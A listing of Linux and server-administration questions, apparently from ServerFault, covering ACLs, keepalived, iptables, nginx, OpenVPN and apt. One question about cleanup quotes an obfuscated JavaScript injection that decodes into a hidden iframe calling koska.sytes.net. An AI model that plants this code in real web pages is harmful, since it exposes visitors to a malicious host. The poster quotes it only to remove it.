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  • Is it logical that file system acls would be corrupted in a way that adds permission for another user?

    - by wilbbe01
    I was having issues on a shared hosting provider with the host's web server instance not serving some files. I asked the companies support about the issue and they responded with the results of getfacl on my home directory, and added the necessary line to allow their web server to obtain the necessary permissions. All is working happily now, but I noticed a line in the getfacl that was for what appeared to be another username to which I had no relation. I asked them about this and their response was that it was likely some minor corruption and that I could remove the unwanted line with the setfacl -x option. I know I never added the user to my home directory, and I also find it weird that that could truly happen due to corruption. So now that it is fixed I'm a little bit weary of whether or not they were trying to cover up a problem they accidentally gave someone permissions to my account, or if this kind of thing can really be corrupted in that way. Especially when that user is a real user on the same server. Any thoughts? Thanks.

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  • What do these acronyms stand for ?

    - by Luc M
    Some directories are easy to understand the meaning /usr /bin ... But for the next ones, I have no idea. /etc /opt opt for optionnal ? etc for electronic t...... configuration (no idea for t) I would like to know what these acronyms are meaning

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  • Strange filesystem behavior, Ubuntu 9

    - by Fixee
    I have two windows open on the same machine (Ubuntu 9, ia32, server). I'll call these windows W1 and W2. W1: $ cd ~/test $ ls sample $ In W2 I run "make" from a parent directory that recreates file test/sample: $ make project . . $ cd test $ ls sample $ Now, returning to W1: $ ls $ cd ../test $ ls sample $ In other words, after I build from another window and the file test/sample is replaced, ls shows the file as missing in the 2nd window until I cd ../test back into the directory whereupon it reappears. I can give more details if required, but just wondering if this is a well-known behavior.

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  • query keepalived

    - by tdimmig
    *Note: I have trouble deciding what should go in serverfault and what should go in superuser, if some kindly admin decides this is in the wrong place please move it for me - many thanks. I am implementing a basic HA system with keepalived. I only want to be notified of the failover in the case of hardware failure. I do, however, have the servers switch roles periodically. I have a track_script running on the backup that will vary it's return between 0 and 1 on an interval (once a week, once a month, whatever). Upon returning 0, the priority is raised above that of the master, upon returning 1 the priority is lowered again. This way they trade places on the configured interval. The question: What can I do to tell the difference between a switch caused by my script, and a switch caused because one of the servers died? I certainly want to be notified when there is an actual problem, but not every time the servers change places because of the script. I see that version 1.2.7 has snmp support and I may be able to use it to get some information that could tell me one way or another, but to be honest I've never used snmp before and I don't know how to get the information I want with it (my Google foo failed me).

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  • How can I remove malware code in multiple files with sed?

    - by user47556
    I've this malware code in so many .html and .php files on the server. I need to remove them using sed -i expression search all files under directory /home/ find infected files remove the code by replacing it with a white space var usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66';var nimbchnzujc = 'PaBUTyjaZYg72';var szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22';var xwojmnoxfbs = 'PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22';var mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f';var nixyhgyjouf = 'koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg6dPaBUTyjaZYg61PaBUTyjaZYg72PaBUTyjaZYg67PaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg74PaBUTyjaZYg69PaBUTyjaZYg74PaBUTyjaZYg6cPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22';var rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76';var niupgeebkhf = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg63PaBUTyjaZYg72PaBUTyjaZYg6fPaBUTyjaZYg6cPaBUTyjaZYg6cPaBUTyjaZYg69PaBUTyjaZYg6ePaBUTyjaZYg67PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg6ePaBUTyjaZYg6fPaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg66PaBUTyjaZYg72PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg62PaBUTyjaZYg6fPaBUTyjaZYg72PaBUTyjaZYg64PaBUTyjaZYg65PaBUTyjaZYg72PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22PaBUTyjaZYg3e';var yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';var tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61';var zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e';var yydszqnduko = new Array();yydszqnduko[0]=new Array(usikwseoomg+nimbchnzujc+szwtgmqzekr+yvofadunjkv+ylydzxyjaci+xwojmnoxfbs+mgsybgilcfx+nixyhgyjouf+nesrtqwuirb+rqchyojemkn+niupgeebkhf+yyzsvtbnudd+tlclvgxfthn+zxttbudjafh);document['PaBUTyjaZYgwPaBUTyjaZYgrPaBUTyjaZYgiPaBUTyjaZYgtPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](window['PaBUTyjaZYguPaBUTyjaZYgnPaBUTyjaZYgePaBUTyjaZYgsPaBUTyjaZYgcPaBUTyjaZYgaPaBUTyjaZYgpPaBUTyjaZYgePaBUTyjaZYg'.replace(/PaBUTyjaZYg/g,'')](yydszqnduko.toString().replace(/PaBUTyjaZYg/g,'%')));

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  • how can i disable safe mode for php on web server?

    - by user1767434
    I am using wkhtmltopdf for making a pdf of a page. My code executes the shell to run a command using this wkhtmltopdf library. Everything works fine in my wamp server but when the code runs on my web-server it does not work and gives the following error: Warning: shell_exec() has been disabled for security reasons in /home/pssptech/public_html/.../cert.php on line 272 I think that the php is running on safe mode on the server that's why the shell execution is disabled. But the main problem is I am unable to find the php.ini file on my remote web-server. Can you tell me where can I find the config file so that I can disable the safe mode? Thanks in advance.

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  • Port forwarding using IP Tables

    - by Darider
    I have a server with a LAN facing address of 192.168.5.100 (eth0) and another LAN facing address of 192.168.6.6 (eth1). On this server I have a Virtualbox instance of fedora running an apache webserver (on port 8080) with a bridged interface to eth1 on the host server with address of 192.168.6.7 Users on the 192.168.6.x network can access the Webserver on the Vbox instance (192.168.6.7) with no problems. My question is what kind of iptables entries or commands should be made/executed so as to allow for users on the 192.168.5.x network to access the webserver on the vbox instance. (I'm hoping their url can be something like: http://192.168.5.100:8080)

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  • nginx clean url router/rewrites

    - by Janko
    im having difficulties with a relativity simple rewrite rules / router in nginx config. All I want to do is, if requested dir or file 'host/my/request/path[/[index.php]]' does not exist, rewrite to 'host/my/request/path.php' Current rewrite works for: host host/ host/my/request/path But wont work for: host/my/request/path/ Here is the rewrite part of the config: location = /(.*)/ { rewrite ^(.*)$ $1 permanent; } location / { try_files $uri/ $uri $uri.php; } Error log will report: Access forbidden by rule, request: "GET /my/request/path/ HTTP/1.0" Hm, is there a better way to solve this or get rid of the trailing slash? edit, rules more elaborative: host[/] > host/index.php host/index[/] > host/index.php host/my/path[/] > if /path/index.php exists: host/my/path/index.php else host/my/path.php

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  • Ping not working

    - by Nishant
    Ping is not working to and from this IP to my computer. inet addr:10.125.104.4 Bcast:10.125.111.255 Mask:255.255.240.0 My computer is like this Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.125.65.75 Subnet Mask . . . . . . . . . . . : 255.255.252.0 Default Gateway . . . . . . . . . : 10.125.64.6 We both CAN reach the common gateway IP , 10.125.96.6 . What should I check ? What is the barrier in sending info if we both have a common gateway that is pingable ? Besides I can login to a intermediate server and ssh to this server also !!

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  • How do I minimize Evolution to the system tray in Ubuntu?

    - by Jephir
    In Ubuntu some applications can be set to minimize instead of exit on close. For example, Empathy minimizes to the system tray (mail icon) when the close button is pressed in the application window. How do I make Evolution do this as well? Essentially I would like to have Evolution hidden in the system tray instead of having to re-launch it every ten minutes to check for new messages (or leave it open and clutter the taskbar).

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  • Query specific nameserver for a particular domain upon VPN connect

    - by MT
    Some background: I have a work laptop with Ubuntu 9.10 on it. I have a small network at home where I've been running some basic services (for myself/my family) for 10 some years. In my home network there is a nameserver (Fedora) running Bind 9 with two "views". One view is the "outside" view and it provides name resolution (to the Internet at large) for email, a wiki, and a couple of blogs. The "inside" view provides name resolution (to the internal RFC1918 addresses of theses servers) as well as all the inside hosts, network equipment, ...etc. I connect with an openvpn client to my home network from outside (such as work). What I'd like to be able to do is resolve names on my internal network across this VPN (so I get the RFC1918 "inside" responses) without fully changing my resolver to the DNS server at my hose. For example, if I connect to the VPN from work, I can change my resolver (by editing resolv.conf) to the DNS server at my house (across the VPN) and then successfully resolve all of the inside DNS names on my home network. The issue I have with this is that now I'm no longer able to resolve "inside" names provided by my work's DNS servers (because I'm using my home DNS server). Alternatively, I can connect to the VPN and access my home severs via IP addresses directly, but this is inconvenient and causes issues with Apache name-based hosting (among other things). In the end, the effect I'm trying to achieve is as follows: When I connect to the VPN I automatically start sending DNS requests for *.myhomedomain.com to my home nameserver, but any other requests continue to go the the nameserver I was using before (the one I received on my company LAN via DHCP). When I disconnect the VPN, requests for *.myhomedomain.com go back to the local LAN DNS server (e.g. all requests are going there now). I'm looking for suggestion at to how this can be accomplished.

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  • How to copy a file to a remote server using the command line?

    - by cool_cs
    I am trying to copy a file from my desktop to my remote server using the sudo command. I am doing this from the remote machine since I know the password for this machine and I do not have a password for my local machine. sudo scp donj@localhost:/Desktop/my.cnf user@remotemachine:/app/MySQL/my.cnf This does not work however. I want to overwrite the my.cnf file in the MySQL directory. I tried the su command but I do not have the password to become a super user.

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  • Migrating a running production server to Xen, unmodified as a second HDD?

    - by DaveCol
    I have a production server which I am looking to virtualize via XEN. For this purpose I have purchased a new Sata HDD, in which I have promptly installed CentOS 5.5 x64 with XEN server installed. Now I have two HDD: /dev/sda1 running as host with Xen Server Installed; and /dev/sda2 which is the HDD where the original server has installed. Is it posible to use /dev/sda2 to work as GuestOS in a xen server? Would I have to modify its kernel? Thank you for any input

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  • xen 4.0 squeeze fails to start guests with: launch_vm: SETVCPUCONTEXT failed

    - by mcr
    As Chris Benninger says over at: http://www.benninger.ca/?p=58 lots and lots of people have the problem with Squeeze and xen4.0 telling them: launch_vm: SETVCPUCONTEXT failed (rc=-1) but nobody seems to know what the solution is. I don't know either, but at least here, a solution might get recorded. In my case, I can start one guest machine. An identical configuration for a second machine fails. Whichever one I start first, is the one that runs, the other gets the error. I've got at least a dozen other systems (at my work) running great with Squeeze and 64-bit XEN, but not this new machine at home.

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  • running commands as other users - best method

    - by linuxrawkstar
    When running commands as other users from the command line, what is recommended best practice? In the past I've used sudo like so: sudo -u username command [args] I've been told (with no specific reasons why) that using sudo for this purpose is wrong. I'd like to know why. Is there some "best way" to accomplish this? For example, I've also used the su command like so: su username - -c "command [args]" I can't imagine why either of these methods would be "bad". Your thoughts?

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  • High system cpu load (%sys), system locks

    - by Mark
    For the last two weeks we are having intermittent severe spikes in system cpu usage (shown as %sys), which last for maybe half a minute, locking most processes, including ssh. I've been trying to figure this out, but atop doesn't show anything relevant (system usage for processes it shows is insignificant), spikes are intermittent and I could not reproduce the spike using any workload for the web application this webserver hosts. If you have any ideas on how to debug high %sys and (sometimes) %si CPU usage, please share them. System specs (don't know if any of this is relevant): Dedicated server, CentOS 6, core i7 950, consistent 4 to 8 GB RAM free at any time, hard drives are in RAID-1. Additional info: dmesg output doesn't change between spikes /var/log/messages doesn't change between spikes Here is cat /proc/vmstat Here is output of mpstat 1 during a typical spike Add 07.11.11: looks like simple reboot restored system state, and we might never know what caused the disturbance in first place.

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  • curl makes a site work externally once run locally (apache)

    - by Kyle_at_NU
    Currently when I visit mysite.mydomain.com external to the local network I get in the browser: This is the default web page for this server. Nothing to see here. This is not even the "It Work's" Apache page. Then if locally (Apache2 on Ubuntu Server 12.04 with curl installed ) type: curl mysite.mydomain.com I get the site I expect. Then the next time i visit the page externally I get the correct site. Has anyone seen this before? Tips/Suggestions?

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  • Routing Traffic With OpenVPN

    - by user224277
    Few minutes ago i configured my VPN server, and actually I can connect to my VPN but all trafic is going through my normal home network. On my OpenVPN application I've got an information : Server IP: **.185.***.*10 Client IP: 10.8.0.6 Traffic: 7.3 KB in, 5.6 KB out Connected: 10 June 2014 19:21:59 So everything is connected but how I can setup on windows 7 that all trafic have to go through OpenVPN network card ?? Client setting : client dev tun proto udp # enter the server's hostname # or IP address here, and port number remote **.185.***.*10 1194 resolv-retry infinite nobind persist-key persist-tun # Use the full filepaths to your # certificates and keys ca ca.crt cert user1.crt key user1.key ns-cert-type server comp-lzo verb 6 Server setting : port 1194 proto udp dev tun # the full paths to your server keys and certs ca /etc/openvpn/keys/ca.crt cert /etc/openvpn/keys/server.crt key /etc/openvpn/keys/server.key dh /etc/openvpn/keys/dh2048.pem cipher BF-CBC # Set server mode, and define a virtual pool of IP # addresses for clients to use. Use any subnet # that does not collide with your existing subnets. # In this example, the server can be pinged at 10.8.0.1 server 10.8.0.0 255.255.255.0 # Set up route(s) to subnet(s) behind # OpenVPN server push "dhcp-option DNS 8.8.8.8" push "dhcp-option DNS 8.8.4.4" ifconfig-pool-persist /etc/openvpn/ipp.txt keepalive 10 120 status openvpn-status.log verb 6 and sysctl : net.ipv4.ip_forward=1 Thank you for your time and help.

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  • How can I use apt-get to resolve package dependencies when there are multiple versions in the repository?

    - by user1165144
    I've package a-package.deb which depends on b-package.deb in version 1.0. Everything works fine. But now a b-package in version 1.1 gets added to the repository. I'd suspect that apt-get installs the a-package and version 1.0 of the b-package. What really happens is, that a-package won't get installed: # apt-get install a-package Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: a-package : Depends: b-package (= 1.0) but 1.1 is to be installed E: Unable to correct problems, you have held broken packages. Is there a workaround to fix the behavior? Is there other software to use, that can handle the dependencies as defined?

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